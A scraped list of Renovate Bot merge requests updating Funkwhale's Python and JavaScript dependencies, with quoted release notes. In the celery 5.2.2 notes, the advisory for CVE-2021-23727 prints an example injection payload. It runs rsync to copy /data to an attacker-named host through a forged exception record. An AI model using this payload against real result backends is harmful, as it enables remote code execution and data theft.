[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.0...1.2.1)
- \[NEW] Added quarter granularity to humanize, for example:
.. code-block:: python
>>> import arrow
>>> now = arrow.now()
>>> four_month_shift = now.shift(months=4)
>>> now.humanize(four_month_shift, granularity="quarter")
'a quarter ago'
>>> four_month_shift.humanize(now, granularity="quarter")
'in a quarter'
>>> thirteen_month_shift = now.shift(months=13)
>>> thirteen_month_shift.humanize(now, granularity="quarter")
'in 4 quarters'
>>> now.humanize(thirteen_month_shift, granularity="quarter")
'4 quarters ago'
- \[NEW] Added Sinhala and Urdu locales.
- \[NEW] Added official support for Python 3.10.
- \[CHANGED] Updated Azerbaijani, Hebrew, and Serbian locales and added tests.
- \[CHANGED] Passing an empty granularity list to `humanize` now raises a `ValueError`.
### [`v1.2.0`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​120-2021-09-12)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.1.1...1.2.0)
- \[NEW] Added Albanian, Tamil and Zulu locales.
- \[NEW] Added support for `Decimal` as input to `arrow.get()`.
- \[FIX] The Estonian, Finnish, Nepali and Zulu locales now support `dehumanize`.
- \[FIX] Improved validation checks when using parser tokens `A` and `hh`.
- \[FIX] Minor bug fixes to Catalan, Cantonese, Greek and Nepali locales.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1540Update dependency requests to v2.27.1 (develop)2022-02-01T10:11:03ZRenovateBotUpdate dependency requests to v2.27.1 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [requests](https://requests.readthedocs.io) ([source](https://github.com/psf/requests), [changelog](https://github.com/psf/requests/blob/ma...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [requests](https://requests.readthedocs.io) ([source](https://github.com/psf/requests), [changelog](https://github.com/psf/requests/blob/master/HISTORY.md)) | dependencies | minor | `==2.26.0` -> `==2.27.1` |
---
### Release Notes
<details>
<summary>psf/requests</summary>
### [`v2.27.1`](https://github.com/psf/requests/blob/HEAD/HISTORY.md#​2271-2022-01-05)
[Compare Source](https://github.com/psf/requests/compare/v2.27.0...v2.27.1)
**Bugfixes**
- Fixed parsing issue that resulted in the `auth` component being
dropped from proxy URLs. ([#​6028](https://github.com/psf/requests/issues/6028))
### [`v2.27.0`](https://github.com/psf/requests/blob/HEAD/HISTORY.md#​2270-2022-01-03)
[Compare Source](https://github.com/psf/requests/compare/v2.26.0...v2.27.0)
**Improvements**
- Officially added support for Python 3.10. ([#​5928](https://github.com/psf/requests/issues/5928))
- Added a `requests.exceptions.JSONDecodeError` to unify JSON exceptions between
Python 2 and 3. This gets raised in the `response.json()` method, and is
backwards compatible as it inherits from previously thrown exceptions.
Can be caught from `requests.exceptions.RequestException` as well. ([#​5856](https://github.com/psf/requests/issues/5856))
- Improved error text for misnamed `InvalidSchema` and `MissingSchema`
exceptions. This is a temporary fix until exceptions can be renamed
(Schema->Scheme). ([#​6017](https://github.com/psf/requests/issues/6017))
- Improved proxy parsing for proxy URLs missing a scheme. This will address
recent changes to `urlparse` in Python 3.9+. ([#​5917](https://github.com/psf/requests/issues/5917))
**Bugfixes**
- Fixed defect in `extract_zipped_paths` which could result in an infinite loop
for some paths. ([#​5851](https://github.com/psf/requests/issues/5851))
- Fixed handling for `AttributeError` when calculating length of files obtained
by `Tarfile.extractfile()`. ([#​5239](https://github.com/psf/requests/issues/5239))
- Fixed urllib3 exception leak, wrapping `urllib3.exceptions.InvalidHeader` with
`requests.exceptions.InvalidHeader`. ([#​5914](https://github.com/psf/requests/issues/5914))
- Fixed bug where two Host headers were sent for chunked requests. ([#​5391](https://github.com/psf/requests/issues/5391))
- Fixed regression in Requests 2.26.0 where `Proxy-Authorization` was
incorrectly stripped from all requests sent with `Session.send`. ([#​5924](https://github.com/psf/requests/issues/5924))
- Fixed performance regression in 2.26.0 for hosts with a large number of
proxies available in the environment. ([#​5924](https://github.com/psf/requests/issues/5924))
- Fixed idna exception leak, wrapping `UnicodeError` with
`requests.exceptions.InvalidURL` for URLs with a leading dot (.) in the
domain. ([#​5414](https://github.com/psf/requests/issues/5414))
**Deprecations**
- Requests support for Python 2.7 and 3.6 will be ending in 2022. While we
don't have exact dates, Requests 2.27.x is likely to be the last release
series providing support.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1515Update dependency celery to v5.2.3 (develop) - autoclosed2022-02-01T10:37:06ZRenovateBotUpdate dependency celery to v5.2.3 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [celery](http://celeryproject.org) ([source](https://github.com/celery/celery), [changelog](https://docs.celeryproject.org/en/stable/change...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [celery](http://celeryproject.org) ([source](https://github.com/celery/celery), [changelog](https://docs.celeryproject.org/en/stable/changelog.html)) | dependencies | minor | `==5.1.2` -> `==5.2.3` |
---
### Release Notes
<details>
<summary>celery/celery</summary>
### [`v5.2.3`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​523)
[Compare Source](https://github.com/celery/celery/compare/v5.2.2...v5.2.3)
\=====
:release-date: 2021-12-29 12:00 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta ([#​6998](https://github.com/celery/celery/issues/6998)).
- Split Signature.**or** into subclasses' **or** ([#​7135](https://github.com/celery/celery/issues/7135)).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.
.. \_version-5.2.2:
### [`v5.2.2`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​522)
[Compare Source](https://github.com/celery/celery/compare/v5.2.1...v5.2.2)
\=====
:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz
- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in [#​4836](https://github.com/celery/celery/issues/4836).
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
`os.system("rsync /data attacker@192.168.56.100:~/data")`
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so:
.. code-block:: python
{
"exc_module": "os",
'exc_type': "system",
"exc_message": "rsync /data attacker@192.168.56.100:~/data"
}
According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.
.. \_version-5.2.1:
### [`v5.2.1`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​521)
[Compare Source](https://github.com/celery/celery/compare/v5.2.0...v5.2.1)
\=====
:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent ([#​7052](https://github.com/celery/celery/issues/7052))
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case ([#​7077](https://github.com/celery/celery/issues/7077)).
- fix: task expiration is timezone aware if needed ([#​7065](https://github.com/celery/celery/issues/7065)).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.
.. \_version-5.2.0:
### [`v5.2.0`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​520)
[Compare Source](https://github.com/celery/celery/compare/v5.1.2...v5.2.0)
\=====
:release-date: 2021-11-08 7.15 A.M UTC+6:00
:release-by: Asif Saif Uddin
- Prevent from subscribing to empty channels ([#​7040](https://github.com/celery/celery/issues/7040))
- fix register_task method.
- Fire task failure signal on final reject ([#​6980](https://github.com/celery/celery/issues/6980))
- Limit pymongo version: <3.12.1 ([#​7041](https://github.com/celery/celery/issues/7041))
- Bump min kombu version to 5.2.1
.. \_version-5.2.0rc2:
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1536Update dependency click to v8 (develop) - autoclosed2022-02-01T10:37:09ZRenovateBotUpdate dependency click to v8 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [click](https://palletsprojects.com/p/click/) ([changelog](https://click.palletsprojects.com/changes/)) | dependencies | major | `==7.1.2` ...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [click](https://palletsprojects.com/p/click/) ([changelog](https://click.palletsprojects.com/changes/)) | dependencies | major | `==7.1.2` -> `==8.0.3` |
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1544Update dependency django-allauth to v0.47.0 (develop)2022-02-01T16:32:56ZRenovateBotUpdate dependency django-allauth to v0.47.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-allauth](https://github.com/pennersr/django-allauth) | dependencies | minor | `==0.42.0` -> `==0.47.0` |
---
### Release Notes
<...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-allauth](https://github.com/pennersr/django-allauth) | dependencies | minor | `==0.42.0` -> `==0.47.0` |
---
### Release Notes
<details>
<summary>pennersr/django-allauth</summary>
### [`v0.47.0`](https://github.com/pennersr/django-allauth/compare/0.46.0...0.47.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.46.0...0.47.0)
### [`v0.46.0`](https://github.com/pennersr/django-allauth/compare/0.45.0...0.46.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.45.0...0.46.0)
### [`v0.45.0`](https://github.com/pennersr/django-allauth/compare/0.44.0...0.45.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.44.0...0.45.0)
### [`v0.44.0`](https://github.com/pennersr/django-allauth/compare/0.43.0...0.44.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.43.0...0.44.0)
### [`v0.43.0`](https://github.com/pennersr/django-allauth/compare/0.42.0...0.43.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.42.0...0.43.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1548Update dependency ipython to v8 (develop)2022-11-22T20:05:56ZRenovateBotUpdate dependency ipython to v8 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | major | `==7.27.0` -> `==8.0.1` |
---
### ...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | major | `==7.27.0` -> `==8.0.1` |
---
### Release Notes
<details>
<summary>ipython/ipython</summary>
### [`v8.0.1`](https://github.com/ipython/ipython/compare/8.0.0...8.0.1)
[Compare Source](https://github.com/ipython/ipython/compare/8.0.0...8.0.1)
### [`v8.0.0`](https://github.com/ipython/ipython/compare/7.31.1...8.0.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.31.1...8.0.0)
### [`v7.31.1`](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
### [`v7.31.0`](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
### [`v7.30.1`](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
### [`v7.30.0`](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
### [`v7.29.0`](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
### [`v7.28.0`](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1549Update dependency arrow to v1.2.2 (develop) - autoclosed2022-02-01T21:08:53ZRenovateBotUpdate dependency arrow to v1.2.2 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
### Release Notes
<details>
<summary>arrow-py/arrow</summary>
### [`v1.2.2`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​122-2022-01-19)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.1...1.2.2)
- \[NEW] Added Kazakh locale.
- \[FIX] The Belarusian, Bulgarian, Czech, Macedonian, Polish, Russian, Slovak and Ukrainian locales now support `dehumanize`.
- \[FIX] Minor bug fixes and improvements to ChineseCN, Indonesian, Norwegian, and Russian locales.
- \[FIX] Expanded testing for multiple locales.
- \[INTERNAL] Started using `xelatex` for pdf generation in documentation.
- \[INTERNAL] Split requirements file into `requirements.txt`, `requirements-docs.txt` and `requirements-tests.txt`.
- \[INTERNAL] Added `flake8-annotations` package for type linting in `pre-commit`.
### [`v1.2.1`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​121-2021-10-24)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.0...1.2.1)
- \[NEW] Added quarter granularity to humanize, for example:
.. code-block:: python
>>> import arrow
>>> now = arrow.now()
>>> four_month_shift = now.shift(months=4)
>>> now.humanize(four_month_shift, granularity="quarter")
'a quarter ago'
>>> four_month_shift.humanize(now, granularity="quarter")
'in a quarter'
>>> thirteen_month_shift = now.shift(months=13)
>>> thirteen_month_shift.humanize(now, granularity="quarter")
'in 4 quarters'
>>> now.humanize(thirteen_month_shift, granularity="quarter")
'4 quarters ago'
- \[NEW] Added Sinhala and Urdu locales.
- \[NEW] Added official support for Python 3.10.
- \[CHANGED] Updated Azerbaijani, Hebrew, and Serbian locales and added tests.
- \[CHANGED] Passing an empty granularity list to `humanize` now raises a `ValueError`.
### [`v1.2.0`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​120-2021-09-12)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.1.1...1.2.0)
- \[NEW] Added Albanian, Tamil and Zulu locales.
- \[NEW] Added support for `Decimal` as input to `arrow.get()`.
- \[FIX] The Estonian, Finnish, Nepali and Zulu locales now support `dehumanize`.
- \[FIX] Improved validation checks when using parser tokens `A` and `hh`.
- \[FIX] Minor bug fixes to Catalan, Cantonese, Greek and Nepali locales.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1550Update dependency axios to v0.25.0 (develop) - autoclosed2022-02-01T21:08:55ZRenovateBotUpdate dependency axios to v0.25.0 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`0.21.4` -> `0.25.0`](https://renovate...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`0.21.4` -> `0.25.0`](https://renovatebot.com/diffs/npm/axios/0.21.4/0.25.0) |
---
### Release Notes
<details>
<summary>axios/axios</summary>
### [`v0.25.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0250-January-18-2022)
[Compare Source](https://github.com/axios/axios/compare/v0.24.0...v0.25.0)
Breaking changes:
- Fixing maxBodyLength enforcement ([#​3786](https://github.com/axios/axios/pull/3786))
- Don't rely on strict mode behaviour for arguments ([#​3470](https://github.com/axios/axios/pull/3470))
- Adding error handling when missing url ([#​3791](https://github.com/axios/axios/pull/3791))
- Update isAbsoluteURL.js removing escaping of non-special characters ([#​3809](https://github.com/axios/axios/pull/3809))
- Use native Array.isArray() in utils.js ([#​3836](https://github.com/axios/axios/pull/3836))
- Adding error handling inside stream end callback ([#​3967](https://github.com/axios/axios/pull/3967))
Fixes and Functionality:
- Added aborted even handler ([#​3916](https://github.com/axios/axios/pull/3916))
- Header types expanded allowing `boolean` and `number` types ([#​4144](https://github.com/axios/axios/pull/4144))
- Fix cancel signature allowing cancel message to be `undefined` ([#​3153](https://github.com/axios/axios/pull/3153))
- Updated type checks to be formulated better ([#​3342](https://github.com/axios/axios/pull/3342))
- Avoid unnecessary buffer allocations ([#​3321](https://github.com/axios/axios/pull/3321))
- Adding a socket handler to keep TCP connection live when processing long living requests ([#​3422](https://github.com/axios/axios/pull/3422))
- Added toFormData helper function ([#​3757](https://github.com/axios/axios/pull/3757))
- Adding responseEncoding prop type in AxiosRequestConfig ([#​3918](https://github.com/axios/axios/pull/3918))
Internal and Tests:
- Adding axios-test-instance to ecosystem ([#​3786](https://github.com/axios/axios/pull/3786))
- Optimize the logic of isAxiosError ([#​3546](https://github.com/axios/axios/pull/3546))
- Add tests and documentation to display how multiple inceptors work ([#​3564](https://github.com/axios/axios/pull/3564))
- Updating follow-redirects to version 1.14.7 ([#​4379](https://github.com/axios/axios/pull/4379))
Documentation:
- Fixing changelog to show corrext pull request ([#​4219](https://github.com/axios/axios/pull/4219))
- Update upgrade guide for https proxy setting ([#​3604](https://github.com/axios/axios/pull/3604))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Rijk van Zanten](https://github.com/rijkvanzanten)
- [Kohta Ito](https://github.com/koh110)
- [Brandon Faulkner](https://github.com/bfaulk96)
- [Stefano Magni](https://github.com/NoriSte)
- [enofan](https://github.com/fanguangyi)
- [Andrey Pechkurov](https://github.com/puzpuzpuz)
- [Doowonee](https://github.com/doowonee)
- [Emil Broman](https://github.com/emilbroman-eqt)
- [Remco Haszing](https://github.com/remcohaszing)
- [Black-Hole](https://github.com/BlackHole1)
- [Wolfram Kriesing](https://github.com/wolframkriesing)
- [Andrew Ovens](https://github.com/repl-andrew-ovens)
- [Paulo Renato](https://github.com/PauloRSF)
- [Ben Carp](https://github.com/carpben)
- [Hirotaka Tagawa](https://github.com/wafuwafu13)
- [狼族小狈](https://github.com/lzxb)
- [C. Lewis](https://github.com/ctjlewis)
- [Felipe Carvalho](https://github.com/FCarvalhoVII)
- [Daniel](https://github.com/djs113)
- [Gustavo Sales](https://github.com/gussalesdev)
### [`v0.24.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0240-October-25-2021)
[Compare Source](https://github.com/axios/axios/compare/v0.23.0...v0.24.0)
Breaking changes:
- Revert: change type of AxiosResponse to any, please read lengthy discussion here: ([#​4141](https://github.com/axios/axios/issues/4141)) pull request: ([#​4186](https://github.com/axios/axios/pull/4186))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Rodry](https://github.com/ImRodry)
- [Remco Haszing](https://github.com/remcohaszing)
- [Isaiah Thomason](https://github.com/ITenthusiasm)
### [`v0.23.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0230-October-12-2021)
[Compare Source](https://github.com/axios/axios/compare/v0.22.0...v0.23.0)
Breaking changes:
- Distinguish request and response data types ([#​4116](https://github.com/axios/axios/pull/4116))
- Change never type to unknown ([#​4142](https://github.com/axios/axios/pull/4142))
- Fixed TransitionalOptions typings ([#​4147](https://github.com/axios/axios/pull/4147))
Fixes and Functionality:
- Adding globalObject: 'this' to webpack config ([#​3176](https://github.com/axios/axios/pull/3176))
- Adding insecureHTTPParser type to AxiosRequestConfig ([#​4066](https://github.com/axios/axios/pull/4066))
- Fix missing semicolon in typings ([#​4115](https://github.com/axios/axios/pull/4115))
- Fix response headers types ([#​4136](https://github.com/axios/axios/pull/4136))
Internal and Tests:
- Improve timeout error when timeout is browser default ([#​3209](https://github.com/axios/axios/pull/3209))
- Fix node version on CI ([#​4069](https://github.com/axios/axios/pull/4069))
- Added testing to TypeScript portion of project ([#​4140](https://github.com/axios/axios/pull/4140))
Documentation:
- Rename Angular to AngularJS ([#​4114](https://github.com/axios/axios/pull/4114))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Evan-Finkelstein](https://github.com/Evan-Finkelstein)
- [Paweł Szymański](https://github.com/Jezorko)
- [Dobes Vandermeer](https://github.com/dobesv)
- [Claas Augner](https://github.com/caugner)
- [Remco Haszing](https://github.com/remcohaszing)
- [Evgeniy](https://github.com/egmen)
- [Dmitriy Mozgovoy](https://github.com/DigitalBrainJS)
### [`v0.22.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0220-October-01-2021)
[Compare Source](https://github.com/axios/axios/compare/v0.21.4...v0.22.0)
Fixes and Functionality:
- Caseless header comparing in HTTP adapter ([#​2880](https://github.com/axios/axios/pull/2880))
- Avoid package.json import fixing issues and warnings related to this ([#​4041](https://github.com/axios/axios/pull/4041)), ([#​4065](https://github.com/axios/axios/pull/4065))
- Fixed cancelToken leakage and added AbortController support ([#​3305](https://github.com/axios/axios/pull/3305))
- Updating CI to run on release branches
- Bump follow redirects version
- Fixed default transitional config for custom Axios instance; ([#​4052](https://github.com/axios/axios/pull/4052))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Matt R. Wilson](https://github.com/mastermatt)
- [Xianming Zhong](https://github.com/chinesedfan)
- [Dmitriy Mozgovoy](https://github.com/DigitalBrainJS)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).